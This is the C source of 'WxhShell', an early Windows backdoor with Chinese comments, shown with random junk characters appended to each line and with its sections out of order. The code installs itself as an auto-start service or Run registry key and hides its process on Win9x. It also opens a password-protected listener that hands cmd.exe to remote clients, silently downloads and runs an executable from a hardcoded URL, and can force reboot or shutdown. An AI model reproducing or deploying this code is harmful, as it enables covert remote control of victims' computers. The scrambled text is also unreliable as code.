    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;>*Pwz`~jT  
    if(Boot(SHUTDOWN)) t/B4?A@C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U~I y),5  
    else { Rv)*Wo!L  
    closesocket(wsh); [!ilcHE)  
    ExitThread(0); +%  !'~  
    } ,,=VF(@G  
    break; F!7\Za,  
    } 1EAQ ~S!2  
  // 获取shell tV"Jh>Z  
  case 's': { ?XllPnuKt%  
    CmdShell(wsh); *)D$w_06S  
    closesocket(wsh); 2|\WaH9P  
    ExitThread(0); O<()T6  
    break; \&\U&^?  
  } d.xT8l}sS  
  // 退出 Y. Uca<{.[  
  case 'x': { @p%WFNR0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4Is Wp!`W  
    CloseIt(wsh); 1A}#j  
    break; zGaqYbQD  
    } T6nc/|Ot  
  // 离开 MWq1 "c  
  case 'q': { )<(3 .M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V>(>wSR  
    closesocket(wsh); k7kPeq  
    WSACleanup(); }uiD8b{I  
    exit(1); 3g87ir  
    break; a[=;6!  
        } }fZ~HqS2w  
  } P!u0_6  
  } utU ;M*  
5Zuk`%O  
  // 提示信息 ^GnR1.ux  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aIo%~w  
} +FH@|~^O  
  } V='A;gs  
Vy7 )_D  
  return; 45Lzq6  
} oq9gFJG(  
&G)/i*  
// shell模块句柄 Nnq r{ub  
int CmdShell(SOCKET sock) _%KRZx}  
{ rEwd76?  
STARTUPINFO si; p]rV\,Yss  
ZeroMemory(&si,sizeof(si)); {sW>J0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I<qG{PA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6 \}.l  
PROCESS_INFORMATION ProcessInfo; ${{[g16X  
char cmdline[]="cmd"; }CM#jN?(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BVG.ZZR})  
  return 0; 2(k m]H^  
} I#/"6%e  
Yy0U2N [i  
// 自身启动模式 t1ers> h  
int StartFromService(void) *X uIA-9  
{  PckAL  
typedef struct NtNCt;_R7  
{ d)kOW!5\  
  DWORD ExitStatus; ^B$cfs@*  
  DWORD PebBaseAddress; M^{=&  
  DWORD AffinityMask; 89UR w9  
  DWORD BasePriority; {~`{bnx^]7  
  ULONG UniqueProcessId; >02p,W6S>  
  ULONG InheritedFromUniqueProcessId; yp]z@SYA@  
}   PROCESS_BASIC_INFORMATION; w1LZ\nA<  
g>QN9v})  
PROCNTQSIP NtQueryInformationProcess; w[g`)8Ib  
e)$a;6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {hoe^07XK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4+:'$Nw  
Ctbc!<@o  
  HANDLE             hProcess; :A+}fB IN  
  PROCESS_BASIC_INFORMATION pbi; 3LZvlcLb  
mhI   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {7Hc00FM  
  if(NULL == hInst ) return 0; 7c83g2|%   
d%:J-UtG"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eq@-J+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `SQobH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vr4{|5M  
S^iT &;,  
  if (!NtQueryInformationProcess) return 0; yCwe:58  
QB d4ok: R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YB.@zL0.(  
  if(!hProcess) return 0; _k#!^AJ}x  
K"zRj L+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jS)YYk5  
U+[h^M$U  
  CloseHandle(hProcess); =1\mLI}@  
0|ekwTx.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {E.A?yej9  
if(hProcess==NULL) return 0; '4}8WYKQ  
+1^L35\@  
HMODULE hMod; y?Pw6;e.  
char procName[255]; {a ]u  
unsigned long cbNeeded; 4'"WD0  
=R)w=ce  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8?ip,Q\  
wQ8<%qi"L  
  CloseHandle(hProcess); [-Xah]g  
Sa@T#%oU  
if(strstr(procName,"services")) return 1; // 以服务启动 I~4!8W-Y  
i,rX. K}X  
  return 0; // 注册表启动 +&G]\WX<  
} X6=o vm  
LTuT"}dT[  
// 主模块 c4.2o<(Xt  
int StartWxhshell(LPSTR lpCmdLine) pTT00`R  
{ N~P1^x~  
  SOCKET wsl; :q~5Xw/  
BOOL val=TRUE; VAA="yN  
  int port=0; <fHN^O0TS  
  struct sockaddr_in door; LtPaTe  
Hc-up.?v'v  
  if(wscfg.ws_autoins) Install(); ZC`VuCg2O  
:<HLw.4O  
port=atoi(lpCmdLine); ;]k\F  
(gIFuOGi>  
if(port<=0) port=wscfg.ws_port; ;*hVAxs1  
_{n4jdw%(  
  WSADATA data; -/Zy{2 <u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O;|jLf_If  
IaK J W?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s1tkiX{>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dptfIBYc+  
  door.sin_family = AF_INET; !x! 1H5"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bXA%|7*  
  door.sin_port = htons(port); WWC&-Ni  
!w%p Gv.wg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *S?'[PS]1  
closesocket(wsl); u8gqWsvruM  
return 1; 0`Uw[Er&  
} =Y*@8=V  
>M0^R} v  
  if(listen(wsl,2) == INVALID_SOCKET) { <[$a7l i  
closesocket(wsl); z#lIu  
return 1; *=tA},`\7  
} y6Ez.$M  
  Wxhshell(wsl); LW#U+bv]Dq  
  WSACleanup(); @bChJl4  
v+o6ZNX  
return 0; '}:(y$9.`  
].sD#~L_  
} C-g,uARX(r  
Z<QNzJ D  
// 以NT服务方式启动 pH(X;OC 9S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s p+'c;a  
{ Jp|eKZ  
DWORD   status = 0; %Y,Ru)5}  
  DWORD   specificError = 0xfffffff; E)wf'x  
PXML1.r$Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e,d}4 jy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @|s$ :;(=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HU$]o N  
  serviceStatus.dwWin32ExitCode     = 0; F'CJN$6Mw/  
  serviceStatus.dwServiceSpecificExitCode = 0; uG/'9C6Z  
  serviceStatus.dwCheckPoint       = 0; &[SFl{fx>-  
  serviceStatus.dwWaitHint       = 0; ?zfm"o  
XN{WxcZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Uy*d@vU9c  
  if (hServiceStatusHandle==0) return; A 8-a}0Gh  
N1$PW~)Y  
status = GetLastError(); 1K(mdL{m5  
  if (status!=NO_ERROR) PF#<CF$=  
{  P1)87P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `P <#kt  
    serviceStatus.dwCheckPoint       = 0; IusZYB  
    serviceStatus.dwWaitHint       = 0; :*^aSPlV  
    serviceStatus.dwWin32ExitCode     = status; A%x0'?GU  
    serviceStatus.dwServiceSpecificExitCode = specificError; FHEP/T\5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]{|lGtK %  
    return; Q [C26U  
  } $$EEhy  
1Oq VV?oz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P00%EB  
  serviceStatus.dwCheckPoint       = 0; Z9|A"[b  
  serviceStatus.dwWaitHint       = 0; s0:M'wA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9JX@c k  
} {:3:GdM6  
%3AE2"  
// 处理NT服务事件,比如:启动、停止 pvb&vtp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l<+PA$+}}  
{ %nG>3.%  
switch(fdwControl) ^Wn+G8n  
{ jatlv/,  
case SERVICE_CONTROL_STOP: )y i~p  
  serviceStatus.dwWin32ExitCode = 0; LbYIRX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [9V}>kS)  
  serviceStatus.dwCheckPoint   = 0; B#+n$5#FK  
  serviceStatus.dwWaitHint     = 0; +-9-%O.(;  
  { D u T6Od/f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sv!v`zh  
  } ?k($Tc&Q  
  return; =F}qT|K  
case SERVICE_CONTROL_PAUSE: sI h5cT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UFu0{rY_  
  break; r=SC bv  
case SERVICE_CONTROL_CONTINUE: q2'}S A/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !^s -~`'\~  
  break; cP\z*\dS  
case SERVICE_CONTROL_INTERROGATE: !Q5,Zhgr  
  break; hc3tzB  
}; v*FbvrY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^fH)E"qq5  
} d{t@+}0.u  
z>iXNwz"?  
// 标准应用程序主函数 R*0mCz^+h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uB3VCO.;_  
{ $ZZ?*I  
)?7/fF)@|  
// 获取操作系统版本 H1L)9oa  
OsIsNt=GetOsVer(); VH<d[Mj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WPAUY<6f  
;\6@s3  
  // 从命令行安装 kPiY|EH  
  if(strpbrk(lpCmdLine,"iI")) Install(); mEu2@3^E }  
N ~fE&@-  
  // 下载执行文件 ULBEe@ s  
if(wscfg.ws_downexe) { =wW M\f`=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |=0w_)Fa]  
  WinExec(wscfg.ws_filenam,SW_HIDE); </@5>hx/  
} x DN u'  
43-Bx`6\  
if(!OsIsNt) { Bg[yn<) ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Dx*[.M3>  
HideProc(); b/Ma,}  
StartWxhshell(lpCmdLine); z wRF-{s  
} LI25VDZ|iP  
else &BNlMF  
  if(StartFromService()) f~PS'I_r  
  // 以服务方式启动 7R m\#  
  StartServiceCtrlDispatcher(DispatchTable); NZ&ZK@h}.  
else ao=e{R)  
  // 普通方式启动 x?lRObHK  
  StartWxhshell(lpCmdLine); `LLmdm 6i  
/5z,G r  
return 0; TQ:5@1aT  
} %3"3V1  
8 5)C7tJ-g  
F$jy~W_  
}{j@q~w>$  
=========================================== Mis B&Ok`k  
i$$h6P#  
,x!r^YO=  
oXqJypR 2  
rXT?w]4  
y N9~/g  
" ^Y;,cLXJ  
1 gcWw, /  
#include <stdio.h> ::'Y07  
#include <string.h> @ S[As~9X  
#include <windows.h> YVv E>1z  
#include <winsock2.h> Yy 0" G  
#include <winsvc.h> uDkX{<_Xe  
#include <urlmon.h> r&B0 -7r  
6}Tftw$0z  
#pragma comment (lib, "Ws2_32.lib") S)wP];]`K  
#pragma comment (lib, "urlmon.lib") _&U#*g  
9-q> W  
#define MAX_USER   100 // 最大客户端连接数 d$x vEm  
#define BUF_SOCK   200 // sock buffer (V&d:tW  
#define KEY_BUFF   255 // 输入 buffer 9}a$0H h  
K(PSGlI f  
#define REBOOT     0   // 重启 ]!P8{xmb@  
#define SHUTDOWN   1   // 关机 S]|sK Y  
"S6";G^I  
#define DEF_PORT   5000 // 监听端口 V|B4lGS&  
64mD%URT  
#define REG_LEN     16   // 注册表键长度 OIpT9  
#define SVC_LEN     80   // NT服务名长度 \'[tfSB  
Ii5U) "  
// 从dll定义API [7HBn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1 I.P7_/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (ER9.k2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wa.xm_4s2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8Dtpb7\o  
53ZbtEwhwr  
// wxhshell配置信息  <82&F  
struct WSCFG { e1E_$oJP  
  int ws_port;         // 监听端口 oQ/T5cOj  
  char ws_passstr[REG_LEN]; // 口令 oIx|)[  
  int ws_autoins;       // 安装标记, 1=yes 0=no (~{Y}n]s  
  char ws_regname[REG_LEN]; // 注册表键名 94dd )/a  
  char ws_svcname[REG_LEN]; // 服务名 6| o S 5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v<g~ EjzCf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 febn?|@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CueC![pj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SiaW; ks  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /5"T46jD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sR83e|4I  
Sw"h!\c`  
}; P(2OTfGGx  
iymN|KdpaZ  
// default Wxhshell configuration :aaX Y:<  
struct WSCFG wscfg={DEF_PORT, |4 \2,M#  
    "xuhuanlingzhe", 1 hFh F^  
    1, |ka/5o  
    "Wxhshell", 1W\wIj.  
    "Wxhshell", `{h)-Y``  
            "WxhShell Service", dR< d7  
    "Wrsky Windows CmdShell Service", |39,n~"o&  
    "Please Input Your Password: ", -P|claO0  
  1, hDSf>X_*_G  
  "http://www.wrsky.com/wxhshell.exe", Cd=$XJ-b  
  "Wxhshell.exe" 7}~w9jK"F  
    }; IvkYM`%  
::#[lw  
// 消息定义模块 9$e$L~I#u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .;Gx.}ITG6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7=u Gf$/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +^esL9RG:  
char *msg_ws_ext="\n\rExit."; {D..(f1*u  
char *msg_ws_end="\n\rQuit."; Ri_2@U-  
char *msg_ws_boot="\n\rReboot..."; ~CV.Ci.dG  
char *msg_ws_poff="\n\rShutdown..."; ru9@|FgAE  
char *msg_ws_down="\n\rSave to "; ( >ze{T|  
F <6(Hw#>  
char *msg_ws_err="\n\rErr!"; Zr2T^p5u  
char *msg_ws_ok="\n\rOK!"; \<`oW>  
XR7v\rd  
char ExeFile[MAX_PATH]; 0&I*)Zt9x  
int nUser = 0; Ly^bP>2i  
HANDLE handles[MAX_USER]; )D/ ,QWk  
int OsIsNt; 52Lp_M  
%Gyn.9\  
SERVICE_STATUS       serviceStatus; _4L6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5fiWo^s}  
bQq/~  
// 函数声明 K x) PK  
int Install(void); LS9,:!$  
int Uninstall(void); %s+'"E"E  
int DownloadFile(char *sURL, SOCKET wsh); R6fkc^  
int Boot(int flag); sU*?H`U3d  
void HideProc(void); /t7f5mA  
int GetOsVer(void); .AO-S)wHR  
int Wxhshell(SOCKET wsl); Op]*wwI*h  
void TalkWithClient(void *cs); n~\; +U  
int CmdShell(SOCKET sock); 9{Etv w  
int StartFromService(void); RC1bTM  
int StartWxhshell(LPSTR lpCmdLine); u<fZ.1  
> K,QP<B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jh&DL8`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M@h"FuX:  
:n{{\SSIgX  
// 数据结构和表定义 D^m2iW;  
SERVICE_TABLE_ENTRY DispatchTable[] = 0?/gEr  
{ 9oGcbD4*  
{wscfg.ws_svcname, NTServiceMain}, s K+uwt  
{NULL, NULL} k;t G-~\d  
}; EwV$2AK  
H,GjPIG  
// 自我安装 ,C><n kx  
int Install(void) \a|~#N3?  
{ lGR0-Gh2  
  char svExeFile[MAX_PATH]; bsU$$;  
  HKEY key; Y %bb-|\W  
  strcpy(svExeFile,ExeFile); SZ[?2z  
UxHI6,b  
// 如果是win9x系统,修改注册表设为自启动 SDE+"MjBY  
if(!OsIsNt) { e<9 ^h)G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  I2i'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7* Y*_cH5  
  RegCloseKey(key); 5rck]L'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #'> )?]tn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bx5xtJ|!  
  RegCloseKey(key); |J:r]);@K  
  return 0; +3-5\t`  
    } X,3\c:  
  } \ZV>5N3hS  
} $3p48`.\  
else { 9^n0<(99b  
>]ux3F3\  
// 如果是NT以上系统,安装为系统服务 rYdNn0mh k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fu~iF  
if (schSCManager!=0) f9>pMfi:@  
{ K.wRz/M& g  
  SC_HANDLE schService = CreateService z Gg)R  
  ( 71AYDO  
  schSCManager, + <E zv  
  wscfg.ws_svcname, W&9 qgbO]  
  wscfg.ws_svcdisp, _p 1!8*0]  
  SERVICE_ALL_ACCESS, -['& aey}a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yeta)@nH  
  SERVICE_AUTO_START, U n)Xe  
  SERVICE_ERROR_NORMAL, +<p&V a#  
  svExeFile, 6AY( /N8V  
  NULL, DDGDj)=`  
  NULL, b,+KXx  
  NULL, zT&"rcT">  
  NULL, #>:S&R?2t  
  NULL Os>&:{D4!  
  ); (Ytr&gh;0  
  if (schService!=0) g7hI9(8+  
  { d{NMG)`x\  
  CloseServiceHandle(schService); J>T98y/))  
  CloseServiceHandle(schSCManager); JS m7-p|E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0H4|}+e  
  strcat(svExeFile,wscfg.ws_svcname); )Z/w|5<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P nE7}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &53,8r  
  RegCloseKey(key); T>(X`(  
  return 0; C)yw b6  
    } ZLKbF9lo  
  } __tA(uA  
  CloseServiceHandle(schSCManager); iOv>g-t:  
} _MIheCvV  
} :'<;]~f  
:PN%'~}n  
return 1; x!s=Nola  
} QbHX.:C  
iVeH\a  
// 自我卸载 %2I>-0]B  
int Uninstall(void) af @a /  
{ %Ul,9qG+  
  HKEY key; .J @mpJdY  
~PyS;L}  
if(!OsIsNt) { #U%HG TE0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wm"#"l4  
  RegDeleteValue(key,wscfg.ws_regname); zJ}abo6rVw  
  RegCloseKey(key); "dt}k$Gr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nPI$<yW7F  
  RegDeleteValue(key,wscfg.ws_regname); ?nL,Otz  
  RegCloseKey(key); L58H)V3Pn  
  return 0; 0 !%G #~th  
  } %?+Lkj&  
} ! a\v)R  
} )XSHKPTQ1  
else { (c}!gjm  
yLCMu | +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X0j>g^b8  
if (schSCManager!=0) Z~94<*LEp  
{ fNx!'{o"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;?iu@h  
  if (schService!=0) @ls/3`E/5E  
  { fATVAv  
  if(DeleteService(schService)!=0) { nJv=kk1|o  
  CloseServiceHandle(schService); T<Y*();Zo  
  CloseServiceHandle(schSCManager); aLW3Ub{h  
  return 0; Sw>>]UjU  
  } rt*>)GI]b  
  CloseServiceHandle(schService); ipGxi[Vav  
  } ( ?(gz#-  
  CloseServiceHandle(schSCManager); +U ziO#D  
} v\G 7V  
} !+Y+P?  
G!C }ULq  
return 1; H-e$~vEbP  
} oKz! Xu%Hl  
,']CqhL6=R  
// 从指定url下载文件 NA0Z~Ug>  
int DownloadFile(char *sURL, SOCKET wsh) Q{=r9&&  
{ 38X{>*  
  HRESULT hr; <a_ (qh@B  
char seps[]= "/"; "v0bdaQH3  
char *token; ,m0 M:!hK  
char *file; mc2uI-W  
char myURL[MAX_PATH]; =#Jx~d[C  
char myFILE[MAX_PATH]; ]57Ef'N  
~$^ >Vo  
strcpy(myURL,sURL); KCZ<#ca^  
  token=strtok(myURL,seps); zXlerQWUv  
  while(token!=NULL) jbZTlG  
  { vY.VFEP/  
    file=token; dJrUcZBr  
  token=strtok(NULL,seps); CflyK@  
  } ^uw]/H3?L  
s 8K.A~5 w  
GetCurrentDirectory(MAX_PATH,myFILE); 6/g 82kqpk  
strcat(myFILE, "\\"); /L(}VJg-  
strcat(myFILE, file); +]wM$bP  
  send(wsh,myFILE,strlen(myFILE),0); jFKp~`/#  
send(wsh,"...",3,0); UB>BVBCt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6Xo"?f  
  if(hr==S_OK) 1K|F;p  
return 0; x{ `{j'  
else ppLLX1S  
return 1; M?P\YAn$  
Br<lP#u=G  
} *a8<cf  
iYYuZ.  
// 系统电源模块 a0A=R5_  
int Boot(int flag) * Z)j"i  
{ SQ+r'g  
  HANDLE hToken; 1VG]|6f  
  TOKEN_PRIVILEGES tkp; >;j&]]-&  
W79.Nj2`  
  if(OsIsNt) { qG~6YCqii  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `?l /HUw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yXEI%2~)  
    tkp.PrivilegeCount = 1; UYy #DA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .dxELSV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {gu3KV  
if(flag==REBOOT) { |}YxxeAk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;{R;lF,  
  return 0; jHHCJOHB8  
} OA}; pQ9QN  
else { Ke:EL;*8k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qvWi;  
  return 0; eYkg4O'  
} 5"1wz  
  } _e8v12s  
  else { Hc|cA(9sh9  
if(flag==REBOOT) { )OQ<H.X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PMbq5  
  return 0; %Q}(.h%M  
} ld|GY>rH  
else { 6'uCwAQU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X$Q.A^9  
  return 0; b-<@3N.9]  
} 726UO#*  
} 3PLA*n+%  
WLVkrTvX  
return 1; 8a8D0}'  
} <RC%<  
K(lVAKiP]  
// win9x进程隐藏模块 P&[&Dj  
void HideProc(void) )ryP K"V  
{ C}jrx^u>  
'T qF}a7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >@?mP$;=  
  if ( hKernel != NULL ) *""W`x  
  { i+T5 (P$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fY78  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HSU?4=Q  
    FreeLibrary(hKernel); S fY9PNck\  
  } %FqQ+0^  
%yfl-c(u  
return; b *0uxvLu  
} !:esdJH  
L0=`1q  
// 获取操作系统版本 LLzxCMc9*  
int GetOsVer(void) l:/x &=w  
{ Ijz*wq\s;  
  OSVERSIONINFO winfo; grkA2%N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]8$H'u(C  
  GetVersionEx(&winfo); &AeNrtGu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .YB/7-%M[  
  return 1; .rwW5"RPq  
  else Nq9M$Nt]  
  return 0; 6r@>n_6LY  
} EASmB  
; 5[W*,7s  
// 客户端句柄模块 ^liW*F"UY  
int Wxhshell(SOCKET wsl) L+@X]O W8  
{ P&: [pPG  
  SOCKET wsh; (ToD u@p  
  struct sockaddr_in client; lS p"(&  
  DWORD myID; Fe: ~M?]  
:1bDkoK  
  while(nUser<MAX_USER) (@^ySiU  
{ H;tE=  
  int nSize=sizeof(client); \K%M.>]vq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AkO);4A;Jd  
  if(wsh==INVALID_SOCKET) return 1; :Zob"*T  
6<5:m:KE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ln , 9v  
if(handles[nUser]==0) v7#|%  
  closesocket(wsh); G7-k ,P^  
else ;9ChBA  
  nUser++; L=HnVgBs  
  } W*(- * \1[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9OY ao  
q j9q   
  return 0; 61gyx6v  
} DYgB_Iak  
uT<<G)v)  
// 关闭 socket 9^Web~yi#  
void CloseIt(SOCKET wsh) OqF8KJnO;  
{ nr}Ols  
closesocket(wsh); YvP62c \  
nUser--; Hmx.BBz  
ExitThread(0); I=P<RG7j)  
} &u6n5-!v  
dmLx$8  
// 客户端请求句柄 !yq98I'  
void TalkWithClient(void *cs) /P]N40_@  
{ ?(Plb&kR  
O2 + K  
  SOCKET wsh=(SOCKET)cs; vfmY >nr  
  char pwd[SVC_LEN]; !V/7q'&t=  
  char cmd[KEY_BUFF]; 2:nI4S  
char chr[1]; w5/6+@}  
int i,j; [>3dhj[;  
b9-3  
  while (nUser < MAX_USER) { Y}Y~?kE>M|  
L?&&4%%  
if(wscfg.ws_passstr) { zh\"sxL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9v3n4=gc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t6\--lk_  
  //ZeroMemory(pwd,KEY_BUFF); #mK?:O\-1  
      i=0; Gui[/iY,F  
  while(i<SVC_LEN) { uf (_<~  
hJk:&!M=T  
  // 设置超时 %4YSuZg  
  fd_set FdRead; hy$VG%b;#  
  struct timeval TimeOut; f4+wP/n&  
  FD_ZERO(&FdRead); m^TN6/])  
  FD_SET(wsh,&FdRead); ObS#aRq  
  TimeOut.tv_sec=8; Odhr=Hs  
  TimeOut.tv_usec=0; _RZ"WA^[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Iu >4+6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); co^h2b  
,7k1n{C)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~kDJ-V  
  pwd=chr[0]; D+~*nc~ g  
  if(chr[0]==0xd || chr[0]==0xa) { e5 zi"~  
  pwd=0; )vVf- zU  
  break; WQD:~*C:  
  } 1cRF0MI  
  i++; HNj;_S  
    } fM*?i"j;Y  
5tZ0zr  
  // 如果是非法用户,关闭 socket ,\#s_N 7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cN&:V2,  
} U^U hZ!  
-:J<JX)o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 72*j6#zS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `R.Pz _oe  
T,vh=UF%]  
while(1) { Q |S>C%4?  
.P?n<n#  
  ZeroMemory(cmd,KEY_BUFF); 2Yd@ V}  
[cl+AV "  
      // 自动支持客户端 telnet标准   9e vQQN6D|  
  j=0; )N1iGJO)  
  while(j<KEY_BUFF) { v '^}zO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5IFzbL#q#f  
  cmd[j]=chr[0]; +/]*ChrS  
  if(chr[0]==0xa || chr[0]==0xd) { Zkqq<  
  cmd[j]=0; ~ L>M-D4o  
  break; h%4UeL &F  
  } PDCb(5  
  j++; Ze#DFe$  
    } 7-}5 W  
EIyFGCw|U  
  // 下载文件 uZ>q$ F  
  if(strstr(cmd,"http://")) { *">CEQ[MT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k#8`996P  
  if(DownloadFile(cmd,wsh)) bw7gL\*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u7Ix7`V  
  else VEn3b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r ) _*MPY  
  } 8pftc)k  
